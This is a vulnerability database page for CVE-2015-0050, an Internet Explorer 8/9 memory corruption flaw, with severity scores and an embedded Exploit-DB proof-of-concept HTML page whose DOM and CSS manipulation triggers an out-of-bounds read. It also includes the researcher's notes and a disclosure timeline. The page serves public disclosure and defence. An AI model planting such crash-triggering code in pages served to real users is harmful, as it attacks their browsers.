CVE-2015-0050 : Detail

CVE-2015-0050

60.15%V3
Network
2015-02-11
01h00 +00:00
2018-10-12
17h57 +00:00
CVE.org
NVD
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Microsoft Internet Explorer 8 and 9 allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted web site, aka "Internet Explorer Memory Corruption Vulnerability," a different vulnerability than CVE-2014-8967 and CVE-2015-0044.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-399 Category : Resource Management Errors
Weaknesses in this category are related to improper management of system resources.

Metrics

Metrics Score Severity CVSS Vector Source
V2 9.3 AV:N/AC:M/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 40841

Publication date : 2016-11-27 23h00 +00:00
Author : Skylined
EDB Verified : Yes

<!-- Source: http://blog.skylined.nl/20161122001.html Synopsis A specially crafted web-page can cause Microsoft Internet Explorer 8 to attempt to read data beyond the boundaries of a memory allocation. The issue does not appear to be easily exploitable. Known affected software, attack vectors and mitigations Microsoft Internet Explorer 8 An attacker would need to get a target user to open a specially crafted web-page. Disabling Javascript should prevent an attacker from triggering the vulnerable code path. Repro.html: --> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="X-UA-Compatible" content="IE=Edge" /> <style> position_­fixed { position: fixed; } position_­relative { position: relative; } float_­left { float: left; } complex { float: left; width: 100%; } complex:first-line { clear: left; } </style> <script> window.onload = function boom() { o­Element_­float_­left = document.create­Element('float_­left'); o­Element_­complex = document.create­Element('complex'); o­Element_­position_­fixed = document.create­Element('position_­fixed'); o­Element_­position_­relative = document.create­Element('position_­relative'); o­Element_­table = document.create­Element('table'); o­Element_­x = document.create­Element('x'); o­Text­Node = document.create­Text­Node('x'); document.document­Element.append­Child(o­Element_­float_­left); o­Element_­float_­left.append­Child(o­Element_­complex); o­Element_­float_­left.append­Child(o­Text­Node); o­Element_­complex.append­Child(o­Element_­position_­fixed); o­Element_­complex.append­Child(o­Element_­position_­relative); o­Element_­complex.append­Child(o­Element_­table); o­Element_­complex.append­Child(o­Element_­x); set­Timeout(function() { o­Element_­x.set­Attribute('class', 'x'); set­Timeout(function() { alert(); document.write(0); }, 0); }, 0); } </script> </head> </html> <!-- Description The issue requires rather complex manipulation of the DOM and results in reading a value immediately following an object. The lower three bits of this value are returned by the function doing the reading, resulting in a return value in the range 0-7. After exhaustively skipping over the read AV and having that function return each value, no other side effects were noticed. For that reason I assume this issue is hard if not impossible to exploit and did not investigate further. It is still possible that there may be subtle effects that I did not notice that allow exploitation in some form or other. Time-line June 2014: This vulnerability was found through fuzzing. October 2014: This vulnerability was submitted to ZDI. October 2014: This vulnerability was rejected by ZDI. November 2014: This vulnerability was reported to MSRC. February 2015: This vulnerability was addressed by Microsoft in MS15-009. November 2016: Details of this issue are released. -->

Products Mentioned

Configuraton 0

Microsoft>>Internet_explorer >> Version 8

Microsoft>>Internet_explorer >> Version 9

References

http://www.securityfocus.com/bid/72419
Tags : vdb-entry, x_refsource_BID
http://www.securitytracker.com/id/1031723
Tags : vdb-entry, x_refsource_SECTRACK
https://www.exploit-db.com/exploits/40841/
Tags : exploit, x_refsource_EXPLOIT-DB
http://seclists.org/fulldisclosure/2016/Nov/135
Tags : mailing-list, x_refsource_FULLDISC